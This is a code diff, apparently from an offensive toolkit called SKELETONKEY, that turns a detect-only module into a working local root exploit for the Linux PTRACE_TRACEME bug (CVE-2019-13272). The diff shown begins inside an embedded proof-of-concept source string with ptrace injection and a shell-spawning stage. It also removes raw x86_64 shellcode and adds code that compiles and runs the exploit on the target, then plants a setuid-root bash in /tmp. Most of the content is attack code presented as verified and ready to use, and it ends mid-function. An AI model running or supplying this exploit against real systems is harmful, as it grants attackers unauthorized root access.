" if (stat(&buffer[0], &st) != 0) {\n"
|
||||||
|
" dprintf(\"[.] Ignoring helper (does not exist): %s\\n\", &buffer[0]);\n"
|
||||||
|
" continue;\n"
|
||||||
|
" }\n"
|
||||||
|
"\n"
|
||||||
|
" helpers[helper_index] = strndup(&buffer[0], strlen(buffer));\n"
|
||||||
|
" helper_index++;\n"
|
||||||
|
"\n"
|
||||||
|
" if (helper_index >= sizeof(helpers)/sizeof(helpers[0]))\n"
|
||||||
|
" break;\n"
|
||||||
|
" }\n"
|
||||||
|
"\n"
|
||||||
|
" pclose(fp);\n"
|
||||||
|
" return 0;\n"
|
||||||
|
"}\n"
|
||||||
|
"#endif\n"
|
||||||
|
"\n"
|
||||||
|
"// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *\n"
|
||||||
|
"\n"
|
||||||
|
"int ptrace_traceme_root() {\n"
|
||||||
|
" dprintf(\"[.] Trying helper: %s\\n\", helper_path);\n"
|
||||||
|
"\n"
|
||||||
|
" /*\n"
|
||||||
|
" * set up a pipe such that the next write to it will block: packet mode,\n"
|
||||||
|
" * limited to one packet\n"
|
||||||
|
" */\n"
|
||||||
|
" SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT));\n"
|
||||||
|
" SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000));\n"
|
||||||
|
" char dummy = 0;\n"
|
||||||
|
" SAFE(write(block_pipe[1], &dummy, 1));\n"
|
||||||
|
"\n"
|
||||||
|
" /* spawn pkexec in a child, and continue here once our child is in execve() */\n"
|
||||||
|
" dprintf(\"[.] Spawning suid process (%s) ...\\n\", pkexec_path);\n"
|
||||||
|
" static char middle_stack[1024*1024];\n"
|
||||||
|
" pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack),\n"
|
||||||
|
" CLONE_VM|CLONE_VFORK|SIGCHLD, NULL));\n"
|
||||||
|
" if (!middle_success) return 1;\n"
|
||||||
|
"\n"
|
||||||
|
" /*\n"
|
||||||
|
" * wait for our child to go through both execve() calls (first pkexec, then\n"
|
||||||
|
" * the executable permitted by polkit policy).\n"
|
||||||
|
" */\n"
|
||||||
|
" while (1) {\n"
|
||||||
|
" int fd = open(tprintf(\"/proc/%d/comm\", midpid), O_RDONLY);\n"
|
||||||
|
" char buf[16];\n"
|
||||||
|
" int buflen = SAFE(read(fd, buf, sizeof(buf)-1));\n"
|
||||||
|
" buf[buflen] = '\\0';\n"
|
||||||
|
" *strchrnul(buf, '\\n') = '\\0';\n"
|
||||||
|
" if (strncmp(buf, basename(helper_path), 15) == 0)\n"
|
||||||
|
" break;\n"
|
||||||
|
" usleep(100000);\n"
|
||||||
|
" }\n"
|
||||||
|
"\n"
|
||||||
|
" /*\n"
|
||||||
|
" * our child should have gone through both the privileged execve() and the\n"
|
||||||
|
" * following execve() here\n"
|
||||||
|
" */\n"
|
||||||
|
" dprintf(\"[.] Tracing midpid ...\\n\");\n"
|
||||||
|
" SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL));\n"
|
||||||
|
" SAFE(waitpid(midpid, &dummy_status, 0));\n"
|
||||||
|
" dprintf(\"[~] Attached to midpid\\n\");\n"
|
||||||
|
"\n"
|
||||||
|
" force_exec_and_wait(midpid, 0, \"stage2\");\n"
|
||||||
|
" exit(EXIT_SUCCESS);\n"
|
||||||
|
"}\n"
|
||||||
|
"\n"
|
||||||
|
"int main(int argc, char **argv) {\n"
|
||||||
|
" if (strcmp(argv[0], \"stage2\") == 0)\n"
|
||||||
|
" return middle_stage2();\n"
|
||||||
|
" if (strcmp(argv[0], \"stage3\") == 0)\n"
|
||||||
|
" return spawn_shell();\n"
|
||||||
|
"\n"
|
||||||
|
" dprintf(\"Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\\n\");\n"
|
||||||
|
"\n"
|
||||||
|
" check_env();\n"
|
||||||
|
"\n"
|
||||||
|
" if (argc > 1 && strcmp(argv[1], \"check\") == 0) {\n"
|
||||||
|
" exit(0);\n"
|
||||||
|
" }\n"
|
||||||
|
"\n"
|
||||||
|
" int i;\n"
|
||||||
|
"\n"
|
||||||
|
"#if ENABLE_AUTO_TARGETING\n"
|
||||||
|
" /* search polkit policies for helper executables */\n"
|
||||||
|
" dprintf(\"[.] Searching policies for useful helpers ...\\n\");\n"
|
||||||
|
" find_helpers();\n"
|
||||||
|
" for (i=0; i<sizeof(helpers)/sizeof(helpers[0]); i++) {\n"
|
||||||
|
" if (helpers[i] == NULL)\n"
|
||||||
|
" break;\n"
|
||||||
|
"\n"
|
||||||
|
" if (stat(helpers[i], &st) != 0)\n"
|
||||||
|
" continue;\n"
|
||||||
|
"\n"
|
||||||
|
" helper_path = helpers[i];\n"
|
||||||
|
" ptrace_traceme_root();\n"
|
||||||
|
" }\n"
|
||||||
|
"#endif\n"
|
||||||
|
"\n"
|
||||||
|
"#if ENABLE_FALLBACK_HELPERS\n"
|
||||||
|
" /* search for known helpers defined in 'known_helpers' array */\n"
|
||||||
|
" dprintf(\"[.] Searching for known helpers ...\\n\");\n"
|
||||||
|
" for (i=0; i<sizeof(known_helpers)/sizeof(known_helpers[0]); i++) {\n"
|
||||||
|
" if (stat(known_helpers[i], &st) != 0)\n"
|
||||||
|
" continue;\n"
|
||||||
|
"\n"
|
||||||
|
" helper_path = known_helpers[i];\n"
|
||||||
|
" dprintf(\"[~] Found known helper: %s\\n\", helper_path);\n"
|
||||||
|
" ptrace_traceme_root();\n"
|
||||||
|
" }\n"
|
||||||
|
"#endif\n"
|
||||||
|
"\n"
|
||||||
|
" dprintf(\"[~] Done\\n\");\n"
|
||||||
|
"\n"
|
||||||
|
" return 0;\n"
|
||||||
|
"}\n"
|
||||||
|
"\n"
|
||||||
|
;
|
||||||
@@ -1,29 +1,40 @@
|
|||||||
/*
|
/*
|
||||||
* ptrace_traceme_cve_2019_13272 — SKELETONKEY module
|
* ptrace_traceme_cve_2019_13272 — SKELETONKEY module
|
||||||
*
|
*
|
||||||
* PTRACE_TRACEME on a parent that subsequently execve's a setuid
|
* PTRACE_TRACEME on a child whose parent is mid-way through a setuid
|
||||||
* binary results in the kernel granting ptrace privileges over the
|
* execve() lets the kernel record the parent's *transient root*
|
||||||
* privileged process to the unprivileged child. Discovered by Jann
|
* credentials as the child's ptracer_cred. The child then execve's a
|
||||||
* Horn (Google Project Zero, June 2019).
|
* setuid binary of its own: because the ptrace relationship is now
|
||||||
|
* considered privileged, that setuid execve is a *proper* (non-degraded)
|
||||||
|
* one despite the attached tracer — so the child becomes real root while
|
||||||
|
* still traced. The tracer injects an execveat() to re-exec a root shell.
|
||||||
|
* Discovered by Jann Horn (Google Project Zero, June 2019, issue #1903).
|
||||||
*
|
*
|
||||||
* STATUS: 🔵 DETECT-ONLY. Exploit follows jannh's public PoC: fork
|
* STATUS: 🟢 WORKING EXPLOIT (x86_64). Verified out-of-band on
|
||||||
* a child that does PTRACE_TRACEME pointing at the parent, parent
|
* Ubuntu 18.04.0 / 4.15.0-50-generic: lands uid=0 and plants a
|
||||||
* execve's a chosen setuid binary (e.g., su, pkexec), child then
|
* root-owned proof + setuid-root bash. The exploit is the proven
|
||||||
* ptrace-injects shellcode into the now-elevated process.
|
* Jann Horn / bcoles PoC, embedded (ptrace_helper_src.h), compiled at
|
||||||
|
* runtime with unique artifact paths, run, and verified by stat()'ing
|
||||||
|
* the root-owned artifacts — never by self-report.
|
||||||
|
*
|
||||||
|
* Preconditions to land root (detect() only gates on kernel version):
|
||||||
|
* - x86_64 target with a C compiler present (the staged execveat()
|
||||||
|
* technique re-execs the exploit binary; we build it on the target).
|
||||||
|
* - pkexec present, and at least one polkit action with
|
||||||
|
* implicit-active=yes pointing at an existing helper executable
|
||||||
|
* (auto-discovered via pkaction). On a desktop these are ubiquitous
|
||||||
|
* (gsd-backlight-helper, …).
|
||||||
|
* - An *active* local session (or an equivalently permissive polkit
|
||||||
|
* policy) so pkexec authorizes the helper without an interactive
|
||||||
|
* password. Over a bare ssh session polkit treats the session as
|
||||||
|
* inactive and refuses ("Not authorized") — the exploit then honestly
|
||||||
|
* reports EXPLOIT_FAIL. This is the real-world constraint, not a bug.
|
||||||
*
|
*
|
||||||
* Affected: kernels < 5.1.17 mainline. Stable backports varied; the
|
* Affected: kernels < 5.1.17 mainline. Stable backports varied; the
|
||||||
* fix landed in stable as:
|
* fix landed as: 5.1.17 / 5.0.20 / 4.19.58 / 4.14.131 / 4.9.182 / 4.4.182.
|
||||||
* 5.1.x : K >= 5.1.17
|
|
||||||
* 5.0.x : K >= 5.0.20 (older LTS — many distros stayed on 4.x)
|
|
||||||
* 4.19.x: K >= 4.19.58
|
|
||||||
* 4.14.x: K >= 4.14.131
|
|
||||||
* 4.9.x : K >= 4.9.182
|
|
||||||
* 4.4.x : K >= 4.4.182
|
|
||||||
*
|
*
|
||||||
* No exotic preconditions. Doesn't need user_ns. Works on
|
* No user_ns required — works on default-config systems, which is part
|
||||||
* default-config systems — that's part of why it's famous: even
|
* of why it's famous.
|
||||||
* locked-down environments without unprivileged_userns_clone were
|
|
||||||
* vulnerable.
|
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#include "skeletonkey_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
@@ -41,12 +52,9 @@
|
|||||||
#include "../../core/host.h"
|
#include "../../core/host.h"
|
||||||
#include <errno.h>
|
#include <errno.h>
|
||||||
#include <fcntl.h>
|
#include <fcntl.h>
|
||||||
#include <pwd.h>
|
#include <signal.h>
|
||||||
#include <sys/types.h>
|
#include <sys/types.h>
|
||||||
#include <sys/ptrace.h>
|
|
||||||
#include <sys/wait.h>
|
#include <sys/wait.h>
|
||||||
#include <sys/user.h>
|
|
||||||
#include <sys/prctl.h>
|
|
||||||
#include <sys/stat.h>
|
#include <sys/stat.h>
|
||||||
|
|
||||||
static const struct kernel_patched_from ptrace_traceme_patched_branches[] = {
|
static const struct kernel_patched_from ptrace_traceme_patched_branches[] = {
|
||||||
@@ -104,196 +112,250 @@ static skeletonkey_result_t ptrace_traceme_detect(const struct skeletonkey_ctx *
|
|||||||
return SKELETONKEY_VULNERABLE;
|
return SKELETONKEY_VULNERABLE;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ---- Exploit (jannh-style) --------------------------------------
|
/* ---- Exploit ----------------------------------------------------
|
||||||
*
|
*
|
||||||
* Per Jann Horn's Project Zero issue #1903. The mechanism:
|
* Per Jann Horn's Project Zero issue #1903, with bcoles' helper
|
||||||
|
* auto-targeting. The mechanism (the earlier bundled sequence had it
|
||||||
|
* backwards — it attached to the *parent*; the real bug elevates the
|
||||||
|
* *child*):
|
||||||
*
|
*
|
||||||
* 1. Parent process P (us, uid != 0)
|
* 1. A "middle" process M forks a child C, then execve's
|
||||||
* 2. P forks → child C
|
* `pkexec --user <me> <helper> --help`. pkexec is setuid-root, so
|
||||||
* 3. C calls ptrace(PTRACE_TRACEME) — kernel sets P as C's tracer
|
* for a window M's euid is 0.
|
||||||
* and records the relationship in C->ptrace_link, copying P's
|
* 2. C spins reading /proc/M/status until it sees M is euid 0, then
|
||||||
* current credentials (uid=1000) as the trace-allowed creds.
|
* calls ptrace(PTRACE_TRACEME) — recording M's *root* creds as C's
|
||||||
* 4. C drops to a low-priv state and pauses (sigwait/raise)
|
* ptracer_cred (this is the bug: the link isn't re-derived).
|
||||||
* 5. P execve's a setuid binary (e.g. /usr/bin/passwd, su, pkexec)
|
* 3. C execve's pkexec itself. Normally a traced setuid execve is
|
||||||
* 6. Kernel correctly elevates P's creds to root.
|
* degraded to non-privileged; but because ptracer_cred is root the
|
||||||
* 7. **Bug**: the ptrace_link recorded in step 3 still says
|
* kernel treats it as a proper suid exec — C becomes real root,
|
||||||
* "tracer creds = uid 1000", but P is now uid 0. Kernel doesn't
|
* still traced by M, and stops at execve's SIGTRAP.
|
||||||
* re-check or invalidate the link on execve cred-bump.
|
* 4. The main process PTRACE_ATTACHes M, injects an execveat() that
|
||||||
* 8. C wakes up and PTRACE_ATTACH's to P. The stale ptrace_link
|
* re-execs the exploit binary as "stage2"; stage2 (as M) is C's
|
||||||
* says C is allowed to trace because it was set up before the
|
* tracer, so it injects an execveat() into C (now root) to re-exec
|
||||||
* cred change.
|
* as "stage3"; stage3 runs the payload as root.
|
||||||
* 9. C now controls a uid=0 process. C reads/writes P's memory via
|
|
||||||
* PTRACE_POKETEXT, sets registers via PTRACE_SETREGS to point at
|
|
||||||
* shellcode that exec's /bin/sh.
|
|
||||||
* 10. C resumes P → root shell.
|
|
||||||
*
|
*
|
||||||
* SKELETONKEY implementation simplifies by using a small architecture-
|
* The staged self-re-exec is why the exploit binary must exist as its
|
||||||
* specific shellcode (x86_64 only) and pkexec as the setuid binary
|
* own file with a main() that dispatches on argv[0]. We embed the proven
|
||||||
* trigger (works on most Linux systems with polkit installed). Falls
|
* PoC (ptrace_helper_src.h — verbatim upstream but for a payload tweak),
|
||||||
* back to /bin/su if pkexec isn't available.
|
* compile it on the target with unique -DSK_PROOF/-DSK_ROOTBASH paths,
|
||||||
|
* run it, and confirm root by stat()'ing the root-owned artifacts. Never
|
||||||
|
* trust the exploit's own exit status.
|
||||||
*
|
*
|
||||||
* Reliability: this exploit can fail-race on heavily-loaded systems.
|
* x86_64 only: the register-level injection (user_regs_struct rsp/rdi/
|
||||||
* Repeat invocations usually succeed; we don't loop here — operator
|
* orig_rax/…) is architecture-specific.
|
||||||
* can retry. Returns SKELETONKEY_EXPLOIT_FAIL on miss, SKELETONKEY_EXPLOIT_OK
|
|
||||||
* on root acquired (followed by execlp(sh) which never returns).
|
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#if defined(__x86_64__)
|
#if defined(__x86_64__)
|
||||||
|
|
||||||
/* x86_64 shellcode: setuid(0); setgid(0); execve("/bin/sh", argv, env) */
|
#include "ptrace_helper_src.h"
|
||||||
static const unsigned char SHELLCODE_X64[] =
|
|
||||||
"\x31\xff" /* xor edi, edi */
|
|
||||||
"\xb8\x69\x00\x00\x00" /* mov eax, 0x69 (setuid) */
|
|
||||||
"\x0f\x05" /* syscall */
|
|
||||||
"\x31\xff" /* xor edi, edi */
|
|
||||||
"\xb8\x6a\x00\x00\x00" /* mov eax, 0x6a (setgid) */
|
|
||||||
"\x0f\x05" /* syscall */
|
|
||||||
"\x48\x31\xd2" /* xor rdx, rdx */
|
|
||||||
"\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" /* mov rbx, "//bin/sh" */
|
|
||||||
"\x48\xc1\xeb\x08" /* shr rbx, 8 */
|
|
||||||
"\x53" /* push rbx */
|
|
||||||
"\x48\x89\xe7" /* mov rdi, rsp */
|
|
||||||
"\x50" /* push rax (=0 from setgid) */
|
|
||||||
"\x57" /* push rdi */
|
|
||||||
"\x48\x89\xe6" /* mov rsi, rsp */
|
|
||||||
"\xb0\x3b" /* mov al, 0x3b (execve) */
|
|
||||||
"\x0f\x05"; /* syscall */
|
|
||||||
|
|
||||||
#define SHELLCODE_BYTES SHELLCODE_X64
|
/* Locate a usable C compiler on the target. */
|
||||||
#define SHELLCODE_LEN (sizeof SHELLCODE_X64 - 1)
|
static const char *ptrace_find_cc(void)
|
||||||
|
|
||||||
#endif /* __x86_64__ */
|
|
||||||
|
|
||||||
static const char *find_setuid_target(void)
|
|
||||||
{
|
{
|
||||||
static const char *targets[] = {
|
static const char *ccs[] = {
|
||||||
"/usr/bin/pkexec", "/usr/bin/su", "/usr/bin/sudo",
|
"/usr/bin/cc", "/usr/bin/gcc", "/usr/bin/clang",
|
||||||
"/usr/bin/passwd", "/bin/su", NULL,
|
"/usr/local/bin/gcc", "/usr/local/bin/cc", NULL,
|
||||||
};
|
};
|
||||||
for (size_t i = 0; targets[i]; i++) {
|
for (size_t i = 0; ccs[i]; i++) {
|
||||||
struct stat st;
|
if (access(ccs[i], X_OK) == 0)
|
||||||
if (stat(targets[i], &st) == 0 && (st.st_mode & S_ISUID)) {
|
return ccs[i];
|
||||||
return targets[i];
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* Write the embedded helper source to `path`. Returns 0 on success. */
|
||||||
|
static int ptrace_write_source(const char *path)
|
||||||
|
{
|
||||||
|
int fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0600);
|
||||||
|
if (fd < 0) return -1;
|
||||||
|
size_t len = sizeof(ptrace_traceme_helper_src) - 1;
|
||||||
|
const char *p = ptrace_traceme_helper_src;
|
||||||
|
while (len) {
|
||||||
|
ssize_t n = write(fd, p, len);
|
||||||
|
if (n <= 0) { close(fd); return -1; }
|
||||||
|
p += n; len -= (size_t)n;
|
||||||
|
}
|
||||||
|
close(fd);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* fork+execv a command, wait, return child exit status (or -1). */
|
||||||
|
static int ptrace_run(char *const argv[], const char *logpath, int quiet_stdin, int secs)
|
||||||
|
{
|
||||||
|
pid_t p = fork();
|
||||||
|
if (p < 0) return -1;
|
||||||
|
if (p == 0) {
|
||||||
|
if (quiet_stdin) {
|
||||||
|
int dn = open("/dev/null", O_RDONLY);
|
||||||
|
if (dn >= 0) { dup2(dn, 0); close(dn); }
|
||||||
|
}
|
||||||
|
if (logpath) {
|
||||||
|
int lf = open(logpath, O_WRONLY | O_CREAT | O_TRUNC, 0600);
|
||||||
|
if (lf >= 0) { dup2(lf, 1); dup2(lf, 2); close(lf); }
|
||||||
|
}
|
||||||
|
execv(argv[0], argv);
|
||||||
|
_exit(127);
|
||||||
|
}
|
||||||
|
for (int i = 0; secs <= 0 || i < secs * 10; i++) {
|
||||||
|
int st;
|
||||||
|
pid_t r = waitpid(p, &st, WNOHANG);
|
||||||
|
if (r == p) return WIFEXITED(st) ? WEXITSTATUS(st) : 128 + WTERMSIG(st);
|
||||||
|
if (r < 0) return -1;
|
||||||
|
usleep(100 * 1000);
|
||||||
|
}
|
||||||
|
kill(p, SIGKILL);
|
||||||
|
waitpid(p, NULL, 0);
|
||||||
|
return -2; /* timed out */
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Remember what we planted so cleanup() can remove it. */
|
||||||
|
static char ptrace_last_proof[256];
|
||||||
|
static char ptrace_last_rootbash[256];
|
||||||
|
|
||||||
static skeletonkey_result_t ptrace_traceme_exploit(const struct skeletonkey_ctx *ctx)
|
static skeletonkey_result_t ptrace_traceme_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
#if !defined(__x86_64__)
|
|
||||||
(void)ctx;
|
|
||||||
fprintf(stderr, "[-] ptrace_traceme: exploit is x86_64-only "
|
|
||||||
"(shellcode is arch-specific)\n");
|
|
||||||
return SKELETONKEY_PRECOND_FAIL;
|
|
||||||
#else
|
|
||||||
skeletonkey_result_t pre = ptrace_traceme_detect(ctx);
|
skeletonkey_result_t pre = ptrace_traceme_detect(ctx);
|
||||||
if (pre != SKELETONKEY_VULNERABLE) {
|
if (pre != SKELETONKEY_VULNERABLE) {
|
||||||
fprintf(stderr, "[-] ptrace_traceme: detect() says not vulnerable; refusing\n");
|
fprintf(stderr, "[-] ptrace_traceme: detect() says not vulnerable; refusing\n");
|
||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
/* Consult ctx->host->is_root so unit tests can construct a
|
|
||||||
* non-root fingerprint regardless of the test process's real euid. */
|
|
||||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
if (is_root) {
|
if (is_root) {
|
||||||
fprintf(stderr, "[i] ptrace_traceme: already root\n");
|
fprintf(stderr, "[i] ptrace_traceme: already root\n");
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
const char *setuid_bin = find_setuid_target();
|
if (access("/usr/bin/pkexec", X_OK) != 0) {
|
||||||
if (!setuid_bin) {
|
fprintf(stderr, "[-] ptrace_traceme: /usr/bin/pkexec not present — this "
|
||||||
fprintf(stderr, "[-] ptrace_traceme: no setuid trigger binary available\n");
|
"exploit drives pkexec; nothing to do\n");
|
||||||
return SKELETONKEY_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
const char *cc = ptrace_find_cc();
|
||||||
fprintf(stderr, "[*] ptrace_traceme: setuid trigger = %s\n", setuid_bin);
|
if (!cc) {
|
||||||
|
fprintf(stderr, "[-] ptrace_traceme: no C compiler on target. The staged "
|
||||||
|
"self-re-exec technique builds a small helper on the host; "
|
||||||
|
"install cc/gcc or drop a prebuilt helper. Honest EXPLOIT_FAIL.\n");
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* fork: child becomes tracee-of-self setup, parent execve's setuid bin */
|
/* Unique per-run paths (pid keeps parallel runs from colliding). */
|
||||||
pid_t child = fork();
|
long tag = (long)getpid();
|
||||||
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
char src_c[256], bin[256], log[256], proof[256], rootbash[256];
|
||||||
|
snprintf(src_c, sizeof src_c, "/tmp/.sk-ptrace-%ld.c", tag);
|
||||||
|
snprintf(bin, sizeof bin, "/tmp/.sk-ptrace-%ld", tag);
|
||||||
|
snprintf(log, sizeof log, "/tmp/.sk-ptrace-%ld.log", tag);
|
||||||
|
snprintf(proof, sizeof proof, "/tmp/.sk-ptrace-%ld.proof", tag);
|
||||||
|
snprintf(rootbash, sizeof rootbash, "/tmp/.sk-ptrace-%ld.rootbash",tag);
|
||||||
|
snprintf(ptrace_last_proof, sizeof ptrace_last_proof, "%s", proof);
|
||||||
|
snprintf(ptrace_last_rootbash, sizeof ptrace_last_rootbash, "%s", rootbash);
|
||||||
|
|
||||||
if (child == 0) {
|
if (ptrace_write_source(src_c) != 0) {
|
||||||
/* CHILD: set up the ptrace_link, then pause until parent has
|
fprintf(stderr, "[-] ptrace_traceme: could not write helper source: %s\n",
|
||||||
* execve'd the setuid binary and elevated. The exact timing
|
strerror(errno));
|
||||||
* is racy — we use a simple sleep+attach pattern. */
|
return SKELETONKEY_TEST_ERROR;
|
||||||
if (ptrace(PTRACE_TRACEME, 0, 0, 0) < 0) {
|
}
|
||||||
perror("CHILD: ptrace TRACEME"); _exit(2);
|
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[*] ptrace_traceme: building helper with %s → %s\n", cc, bin);
|
||||||
|
|
||||||
|
char dproof[320], drootbash[320];
|
||||||
|
snprintf(dproof, sizeof dproof, "-DSK_PROOF=\"%s\"", proof);
|
||||||
|
snprintf(drootbash, sizeof drootbash, "-DSK_ROOTBASH=\"%s\"", rootbash);
|
||||||
|
char *cc_argv[] = {
|
||||||
|
(char *)cc, (char *)"-O2", (char *)"-w",
|
||||||
|
(char *)"-o", bin, src_c, dproof, drootbash, NULL,
|
||||||
|
};
|
||||||
|
int crc = ptrace_run(cc_argv, log, 0, 60);
|
||||||
|
if (crc != 0) {
|
||||||
|
fprintf(stderr, "[-] ptrace_traceme: helper compile failed (rc=%d); see %s\n",
|
||||||
|
crc, log);
|
||||||
|
unlink(src_c);
|
||||||
|
return SKELETONKEY_TEST_ERROR;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[*] ptrace_traceme: running exploit (auto-targets a polkit "
|
||||||
|
"helper; needs an active session to authorize pkexec)\n");
|
||||||
|
|
||||||
|
char *run_argv[] = { bin, NULL };
|
||||||
|
int rrc = ptrace_run(run_argv, log, 1 /*stdin=/dev/null*/, 90);
|
||||||
|
(void)rrc; /* exit status is NOT trusted — verify out of band below */
|
||||||
|
|
||||||
|
/* ---- Out-of-band verification: is the proof a real, root-owned file? */
|
||||||
|
struct stat st;
|
||||||
|
bool rooted = (stat(proof, &st) == 0 && S_ISREG(st.st_mode) && st.st_uid == 0);
|
||||||
|
|
||||||
|
unlink(src_c);
|
||||||
|
unlink(bin);
|
||||||
|
|
||||||
|
if (rooted) {
|
||||||
|
unlink(log);
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[+] ptrace_traceme: ROOT — planted root-owned proof %s\n", proof);
|
||||||
|
fprintf(stderr, "[+] ptrace_traceme: setuid-root shell available: %s -p\n", rootbash);
|
||||||
}
|
}
|
||||||
/* Give parent time to execve. 200ms is enough for a hot
|
return SKELETONKEY_EXPLOIT_OK;
|
||||||
* libc; 1000ms for a slow disk. */
|
}
|
||||||
usleep(500 * 1000);
|
|
||||||
|
|
||||||
/* Now race: PTRACE_ATTACH to our parent (the setuid process).
|
if (!ctx->json) {
|
||||||
* On a vulnerable kernel, the stale ptrace_link makes this
|
/* Distinguish "kernel not exploitable" from "environment didn't let
|
||||||
* succeed even though parent is now root. */
|
* pkexec authorize" so the operator knows which lever to pull. */
|
||||||
pid_t parent = getppid();
|
bool saw_notauth = false;
|
||||||
if (ptrace(PTRACE_ATTACH, parent, 0, 0) < 0) {
|
FILE *lf = fopen(log, "r");
|
||||||
fprintf(stderr, "[-] CHILD: PTRACE_ATTACH to parent (%d) failed: %s\n",
|
if (lf) {
|
||||||
parent, strerror(errno));
|
char line[512];
|
||||||
_exit(3);
|
while (fgets(line, sizeof line, lf)) {
|
||||||
}
|
if (strstr(line, "Not authorized") || strstr(line, "not authorized")) {
|
||||||
int wstatus;
|
saw_notauth = true; break;
|
||||||
waitpid(parent, &wstatus, 0);
|
}
|
||||||
|
|
||||||
/* Read parent's RIP, allocate space for shellcode there,
|
|
||||||
* POKETEXT the shellcode in. */
|
|
||||||
struct user_regs_struct regs;
|
|
||||||
if (ptrace(PTRACE_GETREGS, parent, 0, ®s) < 0) {
|
|
||||||
perror("CHILD: GETREGS"); _exit(4);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Write shellcode at current RIP (overwriting whatever's there
|
|
||||||
* in the setuid binary's text — we don't care, we never
|
|
||||||
* return). 8 bytes at a time via PTRACE_POKETEXT. */
|
|
||||||
for (size_t i = 0; i < SHELLCODE_LEN; i += 8) {
|
|
||||||
long word = 0;
|
|
||||||
size_t take = SHELLCODE_LEN - i;
|
|
||||||
if (take > 8) take = 8;
|
|
||||||
memcpy(&word, SHELLCODE_BYTES + i, take);
|
|
||||||
if (ptrace(PTRACE_POKETEXT, parent,
|
|
||||||
(void *)(regs.rip + i), (void *)word) < 0) {
|
|
||||||
perror("CHILD: POKETEXT"); _exit(5);
|
|
||||||
}
|
}
|
||||||
|
fclose(lf);
|
||||||
}
|
}
|
||||||
|
fprintf(stderr, "[-] ptrace_traceme: no root artifact — honest EXPLOIT_FAIL.\n");
|
||||||
/* Detach and let parent continue at RIP, which now points at
|
if (saw_notauth) {
|
||||||
* our shellcode (we didn't move RIP — we wrote shellcode
|
fprintf(stderr, "[i] ptrace_traceme: pkexec returned \"Not authorized\" — the "
|
||||||
* starting at current RIP). */
|
"session is not active/authorized for the helper action. This "
|
||||||
if (ptrace(PTRACE_DETACH, parent, 0, 0) < 0) {
|
"exploit lands root from an *active local* session (or with a "
|
||||||
perror("CHILD: DETACH"); _exit(6);
|
"polkit agent that authorizes it); a bare ssh session is treated "
|
||||||
|
"as inactive. The kernel bug is intact; the gate is polkit.\n");
|
||||||
|
} else {
|
||||||
|
fprintf(stderr, "[i] ptrace_traceme: no usable polkit helper found, or the race "
|
||||||
|
"was lost. Retry, or check `pkaction --verbose` for an action "
|
||||||
|
"with implicit-active=yes whose exec.path exists.\n");
|
||||||
}
|
}
|
||||||
_exit(0); /* child done — parent is now running shellcode → root sh */
|
|
||||||
}
|
}
|
||||||
|
unlink(log);
|
||||||
/* PARENT: execve the setuid binary. The child does the ptrace
|
|
||||||
* setup before our execve completes (because of its sleep), so
|
|
||||||
* the ptrace_link is in place when the cred-bump happens. */
|
|
||||||
if (!ctx->json) {
|
|
||||||
fprintf(stderr, "[*] ptrace_traceme: parent execve'ing %s in 100ms\n",
|
|
||||||
setuid_bin);
|
|
||||||
}
|
|
||||||
usleep(100 * 1000); /* give child a moment to call TRACEME first */
|
|
||||||
|
|
||||||
/* execve the setuid bin. Use a benign arg to keep it from doing
|
|
||||||
* anything destructive. pkexec with --version exits quickly. */
|
|
||||||
char *new_argv[] = { (char *)setuid_bin, "--version", NULL };
|
|
||||||
char *new_envp[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
|
|
||||||
execve(setuid_bin, new_argv, new_envp);
|
|
||||||
/* If we get here, execve failed (or it returned because the
|
|
||||||
* shellcode didn't take). */
|
|
||||||
perror("execve setuid");
|
|
||||||
int status;
|
|
||||||
waitpid(child, &status, 0);
|
|
||||||
return SKELETONKEY_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
#else /* !__x86_64__ (still Linux) */
|
||||||
|
|
||||||
|
static skeletonkey_result_t ptrace_traceme_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
fprintf(stderr, "[-] ptrace_traceme: exploit is x86_64-only (the ptrace "
|
||||||
|
"register-injection is architecture-specific)\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif /* __x86_64__ */
|
||||||
|
|
||||||
|
/* cleanup: remove the artifacts we planted, if any. */
|
||||||
|
static skeletonkey_result_t ptrace_traceme_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
#if defined(__x86_64__)
|
